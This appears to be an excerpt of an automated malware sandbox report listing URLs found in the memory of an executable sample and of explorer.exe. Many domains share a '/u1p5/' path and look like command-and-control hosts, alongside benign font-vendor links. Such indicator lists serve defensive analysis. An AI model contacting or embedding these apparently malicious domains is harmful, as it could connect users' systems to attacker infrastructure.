Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.deutscheno1.com/u1p5/www.yannickrast.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.deutscheno1.comReferer:
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.340265098.0000000001987000.00000004.00000020.00020000.00000000.sdmp, H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.340265098.0000000001987000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comF
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.340265098.0000000001987000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comm
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.freeclothesonline.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.freeclothesonline.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.freeclothesonline.com/u1p5/www.apeutah.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.freeclothesonline.comReferer:
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hokabrazil.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hokabrazil.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hokabrazil.com/u1p5/www.hornnbach.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hokabrazil.comReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hornnbach.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hornnbach.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hornnbach.com/u1p5/www.piertrafesa.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hornnbach.comReferer:
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jovam.xyz
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jovam.xyz/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jovam.xyz/u1p5/www.hokabrazil.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jovam.xyzReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.kailibianminwang.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.kailibianminwang.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.kailibianminwang.com/u1p5/.
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.kailibianminwang.comReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pbcgotv.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pbcgotv.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pbcgotv.com/u1p5/www.kailibianminwang.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pbcgotv.comReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piertrafesa.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piertrafesa.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piertrafesa.com/u1p5/www.vinewineltd.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piertrafesa.comReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rhoads-music.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rhoads-music.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rhoads-music.com/u1p5/www.verifyaxcx.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rhoads-music.comReferer:
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.verifyaxcx.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.verifyaxcx.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.verifyaxcx.com/u1p5/www.agengrosirfashion.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.verifyaxcx.comReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vinewineltd.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vinewineltd.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vinewineltd.com/u1p5/www.pbcgotv.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vinewineltd.comReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vzn2aai2qj.icu
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vzn2aai2qj.icu/u1p5/
